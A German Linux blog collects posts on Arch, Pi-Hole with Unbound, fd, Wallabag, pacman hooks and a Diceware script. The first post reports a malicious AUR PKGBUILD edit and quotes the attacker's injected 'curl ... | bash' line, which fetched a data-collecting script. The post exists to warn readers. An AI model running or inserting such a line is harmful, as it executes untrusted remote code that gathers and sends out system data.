Fryboyter

Übersicht für GNU/Linux

Darum sollte man PKGBUILD-Dateien im AUR immer prüfen

Als Nutzer von Arch und insbesondere von AUR bekommt es öfters zu hören, dass man die PKGBUILD-Dateien vor dem Installieren prüfen soll. Gestern Abend hat sich gezeigt wie wichtig dies ist.

So ist im AUR beispielsweise acroread vorhanden. Das Paket war verwaist und wurde gestern von einem Nutzer Namens xeactor übernommen. Soweit kein Problem. Allerdings hat er in die PKGBUILD-Datei curl -s https://ptpb.pw/~x|bash -& eingetragen. Mit den Script wird ein systemd-Dienst angelegt über den Daten des kompromittierten Systems gesammelt und und Pastebin gesendet werden. Der Nutzer hat aber glücklicherweise Fehler beim erstellen des Scripts gemacht. So ist $uploader nicht vorhanden, so dass das Hochladen fehlschlägt. Zudem hat xeactor seinen Pastebin-API-Key im Klartext eingetragen.

Da die gesammelten Daten alle relativ unkritisch sind ist es allerdings fraglich was xeactor hiermit erreichen wollte. Eventuell wollte er "nur" demonstrieren wie wichtig es ist, PKBUILD-Dateien im AUR immer zu prüfen. Denn prinzipiell hätte er deutlich mehr Schaden anrichten können.

Neben acroread waren auch noch ein paar andere verwaiste Pakete betroffen. Die Änderungen wurden inzwischen wieder rückgängig gemacht und der Nutzer gesperrt. Aufgrund solcher Vorkommnisse sollte man die Mailing-List aur-general abonieren.


Wenn Windows 10 verhindert, dass man NTFS-Partitionen unter Linux mit Schreibrechten mountet

Auf einenm Rechner ist sowohl Windows als auch Linux installiert. Der Datenaustausch erfolgt über eine NTFS-Partition, die unter Linux mit ntfs-3g eingebunden wird. Seit einiger Zeit wird die Partition aber plötzlich nur noch mit Leserechten gemountet.

Nach einigem hin und her (ftab geprüft, nachgeschaut ob ntfs-3g noch installiert ist usw.) habe ich festgestellt, das Windows die Ursache ist. Bis vor kurzem lief auf dem Rechner noch Windows 7 und wurde nun über das kostenlose Upgrade auf Windows 10 aktualisiert (ja das funktioniert immer noch). Unter Windows 10 gibt es so eine nette Funktion namens Schnellstart. Und genau diese Funktion bewirkt, dass ntfs-3g die Partitionen nur mit Leserechten mountet um Probleme zu vermeiden.

Da es bei dem betreffenden Rechner egal ist, ob der Rechner nun in 15 oder 20 Sekunden startet, ist die Lösung recht einfach. Man deaktiviert den Schnellstart. Hierfür öffnet man die Systemsteuerung und wählt unter Hardware und Sound die Energieoptionen aus. Dort gibt es den Punkt "Auswählen, was beim Drücken von Netzschaltern passieren soll". Hier findet man dann unter "Einstellungen für das Herunterfahren" die Option "Schnellstart aktivieren (empfohlen)". Leider ist dieser normalerweise ausgegraut, so dass man hier den Haken nicht entfernen kann. Von daher muss man erst noch auf den Link "Einige Einstellungen sind momentan nicht verfügbar" klicken. Danach kann man den Haken bei "Schnellstart aktivieren (empfohlen)" entfernen und die Einstellungen speichern. Nach einem Neustart von Linux sollte nun die NTFS-Partition wie gewohnt mit Schreibrechten gemountet werden.


Pi-Hole mit Unbound verheiraten

Pi-Hole ist ein sogenanntes "DNS-Sinkhole"  für das eigene Netzwerk mit dem man unerwünschte Werbung von Webseiten herausfiltern kann. Gestern habe ich mir das ganze auf einem freigewordenen Raspberry Pi installiert.

Da Pi-Hole Arch Linux offiziell nicht unterstützt und es wohl ab und zu zu Problemen kommt, habe ich mir kurzerhand Raspbian installiert. Lustigerweise gibt es für Arch im AUR ein Paket für Pi-Hole während man hingegen bei Rasppian das ganze über "curl -sSL https://install.pi-hole.net | bash" installieren muss. Das ist übrigens der offizielle Weg, auch wenn normalerweise vor solchen Anleitungen gewarnt wird. Der ganze Vorgang ist unterm Strich recht unspektakulär und funktioniert unterm Strich einfach.

Während der Installation ist mir die Idee gekommen, ob man nicht Pi-Hole mit Unbound kombinieren kann. Unbound lief bei mir bisher als caching DNS Resolver, so dass ich nicht auf DNS wie 8.8.8.8 (Google) angewiesen bin.

Also erst einmal Unbound mittels "sudo apt install unbound" installieren.

Mit dem Befehl "sudo wget -O /var/lib/unbound/root.hints https://www.internic.net/domain/named.root" laden wir uns nun die Liste der DNS-Root-Server herunter.

Jetzt geht es an das Konfigurieren von Unbound. Hierfür legen wir die Datei /etc/unbound/unbound.conf.d/pi-hole.conf an und füllen sie folgendem Inhalt.

server:
    verbosity: 1
    port: 12345
    do-ip4: yes
    do-udp: yes
    do-tcp: yes

    # Wenn IPv6 genutzt wird auf yes ändern
    do-ip6: no

    # Liste der Root-Server
    root-hints: "/var/lib/unbound/root.hints"

    # Vertraut glue nur wenn innerhalb von servers authority
    harden-glue: yes

    # Um DNSSEC zu deaktivieren auf no setzen
    harden-dnssec-stripped: yes

    # Großbuchstaben um Spoof zu erschweren
    use-caps-for-id: yes
    
    # EDNS Buffergroeße
    edns-buffer-size: 1472

    # TTL für Cache
    cache-min-ttl: 3600
    cache-max-ttl: 86400

    # Oft genutzte Einträge bleiben im Cache
    prefetch: yes

    # Anzahl der Threads (1 reicht fuer kleines LAN)
    num-threads: 1
    
    # Cache-Speicher. rrset sollte doppelt so groß wie msg sein
    msg-cache-size: 50m
    rrset-cache-size: 100m
    
    # UDP schneller mit Multithreading (Tux only).
    so-reuseport: yes
    
    # Stellt sicher, dass Kernel-Buffer groß genug ist wenn Traffic stark ansteigt 
    so-rcvbuf: 1m

    # IP werden nicht aufgelöst
    private-address: 192.168.1.1/16
    

Wer mit meinen Kommentaren nichts anfangen kann, kann unter https://www.unbound.net/documentation/unbound.conf.html eine genauere Beschreibung nachlesen. Im Moment ist nur die dritte und die letzte Zeile wichtig. In der dritten wird der Port angegeben auf den Unbound lauschen soll. Und in der letzten trägt man seinen Adressbereich für das eigene LAN ein. 

Mittels "systemctl start unbound.service" testet man nun, ob Unbound ohne Probleme startet. Mit "systemctl enable unbound.service" wird Unbound automatisch gestartet

Jetzt noch Unbound bei Pi-Hole als DNS eintragen. Hierfür einfach $PI-IP/admin im Browser eingeben (anstelle von $IP-IP nimmt man die IP unter der der Raspberry im LAN erreichbar ist). Nun sollte das Dashboard von Pi-Hole angezeigt werden. Dort klicken wir dann links auf Login und melden uns an. Nun wählen wir links Settings -> DNS aus. Hier habe ich festgestellt, dass man in der stabilen Version von Pi-Hole zwar die IP eines eigenen DNS eintragen kann, aber keinen Port. Nach etwas Google-Fu habe ich herausgefunden, dass die erst mit der aktuellen Beta-Version funktioniert. Da ich nichts zu verlieren habe, bin ich mit folgenden Befehlen auf die aktuelle Beta-Version gewechselt.

echo "FTLDNS" | sudo tee /etc/pihole/ftlbranch
pihole checkout core FTLDNS 
pihole checkout web FTLDNS

Nun lässt sich unter Settings -> DNS 127.0.0.1#12345 eintragen (anstelle von 12345 nimmt man den in der Konfigurationsdatei angegebenen Port (# ist hier Absicht und muss angegeben werden).

Nun müssen wir nun noch den Geräten im Netzwerk beibringen, das Pi-Hole als DNS zu nutzen. Hierzu hinterlegen wir die IP des Raspberry Pi entweder im Router oder passen die DNS-Einstellungen auf den jeweiligen Geräten an (/etc/resolv.conf, netctl Profile usw.).

Als Fazit nach ca. 24 Stunden mit der Kombination aus Pi-Hole und Unbound kann ich bisher folgende Aussagen treffen:

- Apt ist verglichen mit pacman verflucht langsam
- Ich werde mich nie mit einer Distribution anfreunden die für jeden Mist sudo nutzt, so dass ich vermutlich das Root-Konto aktivieren oder doch wieder Arch installieren werde.
- Wenn Unbound die IP einer Internetseite noch nicht kennt, gibt es eine knappe Gedenksekunde bis die Seite angezeigt wird. Danach geht alles sehr schnell.
- Wenn man sich die Statistik von Pi-Hole so ansieht, merkt man erst wie viel Mist gefiltert wird. Bei mir sind es aktuell 30,4 Prozent aller Anfragen die im Loch verschwinden.

Was die Statistik betrifft, habe ich gemerkt, dass diese jede Minute aktualisiert wird. Da ich keine aktuellen Statistiken benötige und um daher unnötige Schreibvorgänge auf der Speicherkarte zu vermeiden habe ich die Datei /etc/pihole/pihole-FTL.conf angelegt und dort DBINTERVAL=60.0 eingetragen. Somit erfolgt der Schreibvorgang nun noch alle 60 Minuten. Für mich absolut ausreichend, da zwischenzeitlich der Filtervorgang ganz normal weiterläuft.

Einen Nachteil hat diese Lösung für mich aber. Für diverse Sachen wie Geo-Blocking nutze ich einen VPN-Anbieter. Beim derzeitigen Anbieter (was vermutlich auch auf die meisten anderen Anbieter zutreffen wird) lässt sich leider kein eigener DNS eintragen um sogenannte DNS Leaks zu verhindern. Somit werde ich auch weiterhin im Browser zusätzlich uBlock Origin nutzen. Zumal Pi-Hole manche Sachen wie diese nervigen Cookie-Hinweise nicht filtern kann. 


Fd - Finden einmal anders

Wer Linux nutzt wird früher oder später auf den Befehl find stoßen. Mit diesem lassen sich, wie der Name schon vermuten lässt, Sachen wie Dateien finden. Vor ein paar Wochen bin ich nun auf die Alternative fd gestoßen, welche gar nicht mal so schlecht ist.

Nehmen wir mal an, wir haben den Ordner "Projekt" auf der Festplatte. In diesem befindet sich eine Datei die wir dringend brauchen und  von der wir nur wissen, dass sie den Namen README hat. Aber nicht ob .md, .doc. oder .txt. Mit find würde man wohl in das Projekt-Verzeichnis wechseln und dort find . -iname 'README*' ausführen. Bei fd reicht schon in das Verzeichnis zu wechseln und fd README auszuführen (wer will kann natürlich auch das Verzeichnis angeben. Zum Beispiel find README /home/nutzer/Projekt). Fd sucht hier automatisch rekursiv alles in dem irgenwie README vorkommt. Somit wird zum Beispiel README.md oder README.gz gefunden. Aber auch Verzeichnisse wie ./README/Anleitung.doc. Wer nur nach Dateien suchen will, kann den Parameter -tf verwenden. Wenn nur Verzeichnisse gesucht werden sollen -td.

Nehmen wir als nächstes Beispiel einmal an, wir suchen nach einer Datei von der wir nur wissen, dass Sie die Endung .md hat. Mit find würde mal wohl find . -type f -name '*.md' nutzen. Mit fd reicht fd *.md.

Das sind jetzt nur einmal zwei Beispiele in denen ich fd find vorziehen würde. Ist fd nun ein vollwertiger Ersatz für find? Definitiv nicht. Denn Sachen wie find -inum 123456789 sind unter fd nicht möglich. Aber für das allgemeine Suchen von Dateien reicht fd locker aus. Zudem ist fd auch deutlich schneller beim Liefern der Suchergebnisse als find. Hat fd auch Nachteile? Kommt wohl auf die eigene Sichtweise an. Fd sollte zum einen in keiner Standardinstallation zu finden sein. Zum anderen wird als Abhängigkeit zum Erstellen von fd Rust benötigt. Die schlägt, zumindest unter Arch, mit etwa mehr als 240 MB zu buche. Rust kann man allerdings hinterher gefahrlos wieder entfernen.


ZSH-Alias mit Platzhalter

Derzeit teste ich mal wieder AUR-Helper. Da ich mir die Paramenter usw. nicht merken will, lege ich ich normalerweise Aliase an. Für das Suchen im AUR wäre ein möglicher Alias zum Beispiel alias aurs='trizen -Ssa'. Derzeit teste ich den AUR-Helper aurman.

Hier wäre der Befehl nur im AUR nach Paketen zu suchen aurman -Ss Suchbegriff --aur. Da in diesem Fall der Suchbegriff mitten im Befehl steht klappt ein Alias wie aurs='aurman -Ss --aur' nicht wirklich. In den Alias einen Platzhalter zu packen (aurs='aurman -Ss $1 --aur') funktioniert ebenfalls nicht. Die Lösung hierfür ist kein Alias sondern eine Funktion.

Hierfür legen wir uns am besten ein extra Verzeichnis im Home-Verzeichnis an. Beispielswese .zfunc. In diesem erstellen wir nun die Datei aursearch und füllen diese mit folgendem Inhalt und speichern diese anschließend.

function aurs() {
aurman -Ss $1 --aur
}

Anstelle von aurs geben wir den Namen ein über den wir die Funktion aufrufen wollen. Da bei mir die Aliase für den AUR-Helper normalerweise aurs (suchen), auri (installiere) und auru (aktualisieren) lauten habe ich mich hier für aurs entschieden.

Damit die Funktion automatisch zur Verfügung steht öffnen wir nun noch die Konfigurationsdatei von zsh (normalerweise .zshrc) und fügen dort folgende Zeile ein.

source ~/.zfunc/aursearch

Hierbei ist zu beachten dass man den Namen der Datei angibt und nicht den Befehl mit dem man die Funktion ausführt.

Von nun an kann man nun mittels aurs Suchbegriff im AUR nach Paketen suchen. Eventuell vorhanden Aliase mit dem gleichen Namen sollte man aber vorher löschen bzw. auskommentieren.,


Ich bin kein Ideologie-Depp

Gestern hatte ich über IRC mal wieder eine Diskussion geführt, warum man Linux bzw. OSS im Allgemeinen nutzt bzw. nutzen soll. Im Laufe der Diskussion hat sich erneut herauskristallisiert, dass ich zwar Respekt vor Stallman habe aber mir seine Ansichten trotzdem größtenteils am Arsch vorbeigehen. Bin ich nun ein schlechter Mensch?

Gefühlt gehöre ich irgendwie zur Minderheit der Nutzer von Linux bzw. OSS die dies einfach aus rein technischen Gründen tun. Zum Beispiel weil eben nach dem Bekanntwerden von Sicherheitslücken sehr schnell Updates angeboten werden. Oft schneller als die Medien reagieren können. Und man diese notfalls auch abseits der Paketverwaltung einspielen kann. Trotzdem setzte ich in bestimmten Fällen auch einfach auf proprietäre Lösungen. Anstelle der quelloffenen Nouveau-Treiber nutze ich die proprietären Treiber von Nvidia. Wieso? Weil ich auch unter Linux zocke. Zum Beispiel CS:GO. Und da sind die Treiber von Nvidia einfach derzeit besser. Punkt. Ein weiteres Beispiel wäre der Editor. Ja es gibt eine Arsch voll quelloffener Editoren unter Linux. Aber egal welchen ich teste, ich lande trotzdem immer wieder bei Sublime Text. Das hat in dem Fall nicht einmal unbedingt etwas mit dem Funktionsumfang zu tun sondern einfach etwas mit dem "Look & Feel". Genauso wie ich eben Vivaldi anstelle von Firefox bevorzuge. Bei Vivaldi muss ich mir nicht x Erweiterungen installieren. Er funktioniert größtenteils einfach "out of the box" wie ich es will.

Sehr oft wird als Argument für Linux bzw. OSS die Freiheit angegeben. Aber spätestens wenn es um die Lizenz diverser Programme geht, hört diese Freiheit scheinbar bei vielen auf. Meiner Meinung nach sollte man auch als Nutzer von OSS oder Linux die Freiheit haben auch nicht quelloffene Software zu nutzen. Ich finde, dass eine Nutzung von 80 Prozent OSS und 20 Prozent CSS immer noch besser ist als 100 Prozent CSS. Wobei auch einen Nutzung von 100 Prozent CSS nicht zwangsläufig "böse" ist.

Und quelloffene Software kann sicherer sein als nicht quelloffene  Software. Aber die letzen Jahre haben gezeigt, dass auch in quelloffener Software Sicherheitslücken über Jahre unentdeckt bleiben. Nur weil man theoretisch die Möglichkeit hat den Quellcode zu prüfen bedeutet es ja noch lange nicht, dass es auch jemand macht. Bzw. dass dieser auch alle Probleme entdeckt. Genauso wie eben nicht jeder Entwickler von nicht quelloffener Software automatisch ein Backdoor oder eine Spionagefunktion einbaut. Unterm Strich ist es also für den durchschnittlichen Nutzer eine Sache des Vertrauens. Vertraue ich nun quelloffenen Code den ich selbst nicht beurteilen kann und der vielleicht auch nicht von anderen mit mehr Ahnung geprüft wird? Oder vertraue ich Leuten wie Tetzchner (Chef von Vivaldi) die mir bisher keinen Anlass gegeben haben ihnen zu misstrauen?

Gerade in der heutigen Zeit sollte man natürlich immer misstrauisch sein (z. B. https://github.com/canonical-websites/snapcraft.io/issues/651). Aber man sollte vielleicht auch öfters einfach mal etwas tolleranter gegenüber anderen Nutzern sein. Es wäre schön, wenn es mal eine Zeit geben würde, in der ich mich nicht verdeitigen müsste, wieso ich Sublime Text anstelle eines anderen quelloffenen Editors nutze. Oder wenn ich mir mal keine dummen Sprüche anhören muss nur weil ich Distribution X nutze. Unterm Strich sollten wir Nutzer von Linux / OSS doch eigentlich alle an einem Strang ziehen. Statt dessen führen viele einfach nur einen lächerlichen Kleinkrieg. Distribution gegen Distribution. Editor gegen Editor. DE gegen DE. Warum versuchen wir nich einfach gemeinsam etwas zu verbessern? Warum müssen wir wegen jedem Scheiß einen Fork erstellen anstelle sich auf einen Mittelweg zu einigen? Und warum können wir nicht einfach akzeptieren, dass es auch Nutzer gibt die Linux / OSS nicht nutzen können oder einfach nicht nutzen wollen? Oder das man eben anstelle von Plasma Gnome nutzt? Auch das ist ein Teil von Freiheit. Und gerade das ist doch eigentlich wichtig.

In diesem Sinne. Be nice or go away.


Fucking systemd

Fucking systemd


Wallabag auf Uberspace 7 installieren

Bei Wallabag handelt es sich um eine Lösung zu selbst hosten mit der man interessante Internetseiten speichern kann um sie dann später zu lesen. Wallabag ist sozusagen eine Alternative zu Pocket das wohl die meisten Nutzer von Firefox kennen sollten.

Um Wallabag auf einen Uberspace 7 unter eine Subdomain zu installieren, kann man wie folgt vorgehen.

Als erstes erstellt man unter ~/html/ ein neues Verzeichnis (z. B. "walla") und welchseln in dieses. Nun führen wir folgenden Befehl aus um die nötigen Dateien für die Installation herunterzuladen.

git clone https://github.com/wallabag/wallabag.git .

Der Punkt am Ende des Befehls ist übrigens kein Fehler sondern sorgt dafür, dass die Dateien im aktuellen Verzeichnis abgespeichert werden.

Wenn alles heruntergeladen ist, installiert man Wallabag mittels "make install". Das dauert ein Stück. Am Ende des Vorgangs beginnt ein Frage- und Antwortspiel bei dem zum Beispiel diverse Sachen wie die Datenbankverbindung usw. abgefragt werden. Hierbei gehe ich an dieser Stelle nur auf zwei Sachen ein, da der Rest eigentlich selbsterklärend ist. Das wäre zum einen "mailer_host". Hier ist der Standard 127.0.0.1. Daraus machen wir 127.0.0.1:587, da SMTP bei Uberspace auf Port 587 läuft. Bei "secret" sollte man anstelle des vorgegebenen Geheimnisses lieber ein eigenes eintragen.

Wenn wir die ganzen Informationen eingetragen bzw. abgenickt haben, erstellen wir nun noch im anfangs angelegten Verzeichnis eine .htaccess Datei mit folgenden Inhalt.

RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ /web/$1 [QSA,L]

Somit wir automatisch bei einem Aufruf in den Unterordnet web weitergeleitet.

Da wir in diesem Beispiel Wallabag ja unter einer Subdomain erreichbar machen wollen, sind nun noch folgende beide Befehle nötig.

ln -s /var/www/virtual/$USER/html/walla /var/www/virtual/$USER/walla.domain.org
uberspace web domain add walla.domain.org

Mit dem ersten Befehl wird der Symlink erstellt und mit dem zweiten wird die Subdomain bei Uberspace aktiviert. Anstelle von domain.org sollte man die eigene Domain angeben.

Das war es im Grunde genommen. Von nun an kann man Wallabag mittels walla.domain.org aufrufen und dort diverse Seiten abspeichern. Um das ganze etwas bequemer zu gestalten kann man sich noch die Browser-Erweiterung Wallabagger installieren. Diese ist für Firefox, Opera und Chrome bzw. Browser die darauf basieren erhältlich. Eine Anleitung zur Konfiguration findet man unter https://wallabag.org/en/news/wallabagger-howto.


Cache von Pacman automatisch aufräumen

Der Paketmanager Pacman speichert die Pakete unter /var/cache/pacman/pkg. Um bei Problemen ein Downgrade machen zu können, werden dort automatisch keine Pakete entfernt.

Leert man das Verzeichnis nicht regelmäßig kann es sein, dass irgendwann die Festplatte voll ist und man sich wundert was nun schon wieder schief gegangen ist. Um dies zu vermeiden, kann man sich einen sogenannten Hook erstellen. Mit diesen lassen sich Aktionen bevor oder nachdem etwas mit Pacman gemacht wird ausführen.

Um bei dem Beispiel mit Cache zu bleiben, erstellen wir erst einmal das Verzeichnis /etc/pacman.d/hooks sofern es nicht schon vorhanden ist. In diesem erstellen wir dann eine Datei an deren Ende .hook stehen muss. Also beispielsweise pacman-cache-aufraeumen.hook. In diese kommt dann folgender Inhalt:

[Trigger]
Operation = Remove
Operation = Install
Operation = Upgrade
Type = Package
Target = *

[Action]
Description = Cache von Pacman aufräumen...
When = PostTransaction
Exec = /usr/bin/paccache -rqk2

Im Bereich Trigger wird definiert in welchem Fall das ganze ausgeführt werden soll und für was der Hook gültig ist. in diesem Fall wird also die Aktion beim Entfernen, Installieren und Aktualisieren aller Pakete ausgeführt.

Im Bereich Action wird angegeben, was ausgeführt wird und wann. In diesem Beispiel wird der Befehl /usr/bin/paccache -rqk2 nach dem Entfernen, Installieren oder Aktualisieren eines Pakets ausgeführt. Der Parameter -rqk2 bewirkt, dass alle Pakete im Cache bis auf die letzten zwei Versionen entfernt werden und dass dies ohne Rückmeldung geschieht.


Git-Version für PGKBUILD herausfinden

Im Arch User Repository, kurz AUR, gibt es einige Paket mit dem Zusatz -git im Namen. Hiermit werden nicht die stabilen Versionen sondern Entwicklerversionen installiert.

Nehmen wir einmal die PKGBUILD-Datei von keepassxc-git als Beispiel. In dieser findet man die Zeile pkgver=2.2.4.r431.g46c58b32. Egal wie oft man nun KeepassXC über diese PKGBUILD-Datei installiert, landet man immer beim gleichen festgelegten Entwicklungsstand und nicht beim derzeit aktuellen. Was aber, wenn man sich genau diesen installieren will? Im Grunde genommen muss man die Zeile pkgver= einfach nur anpassen. Aber was muss man in solch einem Fall eintragen? Eine Lösung wäre folgendes Vorgehen:

- Mittels "git clone https://github.com/keepassxreboot/keepassxc.git" den Sourcecode auf den eigenen Rechner kopieren. Den betreffenden Link findet man in dem man auf der jeweiligen Github-Seite auf "Clone or download" klickt.

- Danach wechselt man in das erstellte Verzeichnis. In diesem Fall keepassxc und führt dort "git describe --long | sed 's/\([^-]*-g\)/r\1/;s/-/./g'" aus. Hier wird dann aktuell "2.3.0.r10.g3c274135" ausgegeben, da die Veröffentlichung von Version 2.3.0 ansteht.

- Abschließend ändert man nun in der PKGBUILD-Datei die Zeile pkgver= entsprechend ab und kann sich so die aktuelle Entwicklerversion installieren.

- Um die Version in der PKGBUILD-Datei erneut zu aktualisieren, reicht es in das Verzeichnis keepassxc zu wechseln und dort "git pull" und danach "git describe --long | sed 's/\([^-]*-g\)/r\1/;s/-/./g" auszuführen. Git clone ist hier nicht nötig.

Da Git-Versionen aber nicht unbedingt stabil sind, sollte man aber abwägen ob man sich solch eine Version installiert oder nicht.


Slug aus URL mit htaccess entfernen

Normalerweise haben die Links auf Artikel mit Bolt CMS den Aufbau https://fryboyter.de/entry/Titel-des-Artikels. Die habe ich mittels der Routingfunktion auf https://fryboyter.de/Titel-des-Artikels umgebogen. Soweit so gut.

Zum Erzeugen des kompletten RSS-Feeds nutze ich allerdings die Erweiterung bolt-extension-rssfeed. In dieser ist die URL dann allerdings wieder https://fryboyter.de/entries/Titel-des-Artikels. An sich kein Problem, da die Artikel mit und ohne /entries aufgerufen werden können. Wäre da nicht Isso Comment.

Isso Comment verknüpft die Kommentare und Artikel anhand des Titels. Und da ist der mit /entries eben ein andere als ohne. Ruft nun jemand einen Artikel über den globalen RSS-Feed auf und gibt einen Kommentar ab, wird die URL mit /entries in der Isso-Datenbank gespeichert. Da ich aber eben die Artikel dank des Routings ohne /entries veröffentliche tauchen die Kommentare somit auch nicht auf, so dass ich hier immer in der SQLite-Datenbank herumpfuschen muss. An sich kein Problem es nervt aber trotzdem.

Im Template für den RSS-Feed oben genannter Erweiterung gibt es folgende Codezeile.

<link>{{ url('contentlink', { 'contenttypeslug': record.contenttype.singular_slug, 'slug': record.slug } ) }}</link>

In meinem nicht mehr ganz so jugendlichen Leichtsinn habe ich mir gedacht es reich hier einfach 'contenttypeslug': record.contenttype.singular_slug, zu entfernen. Pustekuchen. Sobald man versucht den Feed aufzurufen bekommt man eine unschöne Fehlermeldung. Zum einen reichen meine Programmierkenntnisse hier definitiv nicht aus, dass Problem zu lösen und zum anderen müsste ich nach jedem Update der Erweiterung diese anpassen. Also muss, zumindest vorübergehend, eine andere Lösung her.

Schlussendlich habe ich einfach die .htaccess-Datei für Bolt CMS angepasst. In dieser haben ich den Bereich <IfModule mod_rewrite.c> gesucht und in diesem folgende Zeile eingetragen.

RewriteRule ^entrie/(.+)$ https://fryboyter.de/$1 [R=301,L]

Abschließend noch den Cache von Bolt CMS gelöscht und fertig. Ruft nun jemand einen Link mit /entrie/ auf, wird er automatisch auf die Version ohne /entrie/ umgeleitet. Ich denke das ist derzeit die beste Lösung mit der ich nicht an der Erweiterung herumpfuschen muss.


Kopieren und Verschieben mit Fortschrittsanzeige

Heute morgen hatte ich eine Datei mit 35 Gigabyte kopiert. Nach ein paar Minuten war ich mir unsicher ob der Vorgang noch läuft oder eventuell hängen geblieben ist. Hier wäre mir eine Fortschritsanzeige recht lieb gewesen.

Der Befehl cp bietet diese Funktion leider nicht an, und da er als "feature complete" gilt wird er es auch nie. Nach etwas Google Fu habe ich neben rsync das Projekt pycp gefunden. In diesem sind die Befehle pycp und pymv enthalten. Erster ist ein Ersatz für cp und zweiter für mv. Und alle beide bieten eine Anzeige für den Fortschritt, die Datenübertragungsrate und die geschätzte verbleibende Zeit. Das ganze sieht dann beispielsweise wie folgt aus. Anstelle von pycp kann man auch pymv nutzen um Dateien zu verschieben.

pycp Screenshot

Natürlich kann man das auch mit Konstrukten wie cp "file" "destination" && pv $(pidof cp) oder rsync -avP <Quelle> <Ziel> arbeiten. Aber pycp große_datei ~/Downloads ist mir einfach lieber. Hier siegt die Faulheit und ich installiere mir lieber ein Tool mehr auf den Rechner.


Tannenberg - Willkommen im Ersten Weltkrieg

Eigentlich lasse ich von Early-Access-Spielen die Finger. Eigentlich. Letztes Wochenende habe ich aber diese Regel mal wieder gebrochen und mit neben Battalion 1944 auch Tannenberg gekauft. Letzteres läuft direkt unter Linux.

Tannenberg ist an der Ostfront im Ersten Weltkrieg angesiedelt. Hauptsächlich spielt man den Modus "Maneuver". Hier ist das Spielprinzip recht einfach. Es gibt mehrere Karten die in diverse Sektoren unterteilt sind. Zwei Teams mit insgesamt maximal 64 Spielern (bei Bedarf werden diese von Bots aufgefüllt) versuchen nun diese Sektoren zu erobern und zu halten. Klingt einfach? Ist es aber nicht.

Im Gegensatz zu anderen Shootern beißt man in der Regel nach einem Treffer ins Gras. Vor allem als Neueinsteiger kann dies richtig nerven da man während einer Runde teilweise mehr stirbt als bei einer Lanparty an einem ganzen Wochenende. Der Umgang mit den Waffen erfordert auch etwas Einarbeitungszeit. Scheinbar waren diese im Ersten Weltkrieg nicht gerade präziese und das haben die Entwickler wohl berücksichtigt. Zudem sind die Magazine oft sehr klein und das Nachladen dauert oft ewig. Wäre dies nicht schon genug Stress, kommen dann noch so nette Sachen wie Mörser- und Giftgasangriffe dazwischen. Für letzteres kann man sich zwar mit einer Gasmaske schützen, allerdings kann man sich diese oft nicht schnell genug aufsetzen. Kurz gesagt man stirbt schnell und oft und steht eigentlich immer unter Strom. Normalerweise würde ich daher die Finger von dem Spiel lassen. Aber irgendwie hat es mich am vergangenen Samstag mehrere Stunden gefesselt.

Aber trotzdem merkt man deutlich, dass es ein Early-Access-Spiel ist. Mit der Grafik lässt sich kein Preis gewinnen (vermutlich auch nicht wenn das Spiel fertig ist), trotzdem entsteht  eine gute Athmosphäre. Die Vertonung hingegen finde ich sehr gelungen. Die Übersetzung der Texte zumindest die in die deutsche Sprache ist, sagen wir mal unfertig, bringt aber auch etwas Witz ins Spiel (z. B. auf einen Kontrollpunkt klicken um zu laichen). Die Hardwareanforderungen sind alles in allem nicht gerade hoch. Empfohlen werden 8 GB RAM und eine Grafikkarte mit 4 GB.

Von den Spielern wurde ich, bis auf wenige Ausnahmen, sehr positiv überrascht. Alles in allem ein freundlicher Haufen, der sich auch nicht zu schade ist einzelnen Spielern oder allgemein dem gegnerischen Team zu gratulieren. Der Versuch mancher mit zum Beispiel mit einem preußischen Dialekt zu sprechen, hat auch für einige Lacher gesorgt. Vor allem wenn diese der deutschen Sprache kein Stück mächtig sind.

Muss man nun Tannenberg unbedingt spielen? Sicher nicht. Ich bereue es aber auch nicht, knapp 18 Euro dafür bezahlt zu haben und werde am Wochenende sicher wieder ein paar Runden spielen. Wer sich für das Spiel interessiert kann sich die offizielle Seite bzw. die Seite bei Steam anschauen.


Wörterliste für Diceware erstellen

Bei Diceware handelt es sich um ein Verfahren mit dem man lange, aber leichter zu merkende Passwörter erstellen kann. Hierzu braucht man einen Würfel und eine Liste mit Wörtern.

In dieser Liste findet man pro Zeile ein Wort dem eine fünfstellige, einzigartige Zahl vorangestellt ist. Will man nun zum Beispiel ein Passwort aus 5 Wörtern erstellen, muss man pro Wort 5 mal würfeln. Also insgesamt 25 mal. Am Ende hat man dann beispielsweise 54678 29412 37783 79381 erwürfelt. Nun schnappt man sich besagte Liste und sucht die betreffenden Wörter. Somit könnte beispielsweise DachsPlastikrodelnEinkaufFluss herauskommen. Wichtig hierbei ist, dass man die Wörter nicht neu würfelt oder sich eigene Wörter ausdenkt, wenn man mit dem Ergebnis nicht zufrieden ist.

Im Internet gibt es diverse Wörterlisten für Diceware. Zum Beispiel unter http://world.std.com/~reinhold/diceware.html. Diese ist aber inzwischen so bekannt, dass sie vermutlich schon von Crackern benutzt wird und zum anderen sind dort "nur" knapp 7800 Wörter enthalten.

Nehmen wir nun an, man trifft im Internet die Aussage, dass man Diceware nutzt. Somit steht die Chance für die bösen Buben nicht schlecht, dass man die offizielle Liste mit den Wörtern nutzt. Dies macht die Aufgabe das Passwort zu knacken schon etwas einfacher. Daher wäre eine eigene Liste wohl nicht verkehrt. Dies kann man mit folgendem Script erledigen.

wget "https://www.openthesaurus.de/export/OpenThesaurus-Textversion.zip"
wait
unzip OpenThesaurus-Textversion.zip
wait
grep -v '^#' openthesaurus.txt | \
tr ';' '\n' | \
tr [ÄÖÜ] [äöü] | \
grep  -v '[^[:alnum:] _]' | \
grep -v '[0-9]' | \
grep -v ' ' | \
grep -E '^.{3,8}$' | \
sort -uR | \
head -n 10000 | \
sort | \
nl -n rz -v 0 -w 4 > 'wordlist_de.txt'

Das Script macht zusammengefasst folgendes:

  • Herunterladen und Entpacken der OpenThesaurus-Textversion (deutlich mehr als 7800 Worte)
  • Je einen Eintrag in jeweils eine Zeile packen
  • Filtern der Einträge mit Umlaute, Unterstrich oder Zahlen sowie Einträge die aus mehreren Wörtern bestehen
  • Entfernen aller Wörter mit weniger als 3 und mehr als 8 Zeichen
  • Entfernen eventueller doppelter Einträge
  • Zufällige Sortierung der restlichen Einträge
  • Übernahme der ersten 10000 Einträge
  • Alphabetische Sortierung dieser Einträge
  • Nummerrierung der Einträge und das Abspeichern in die Datei "wordlist_de.txt"

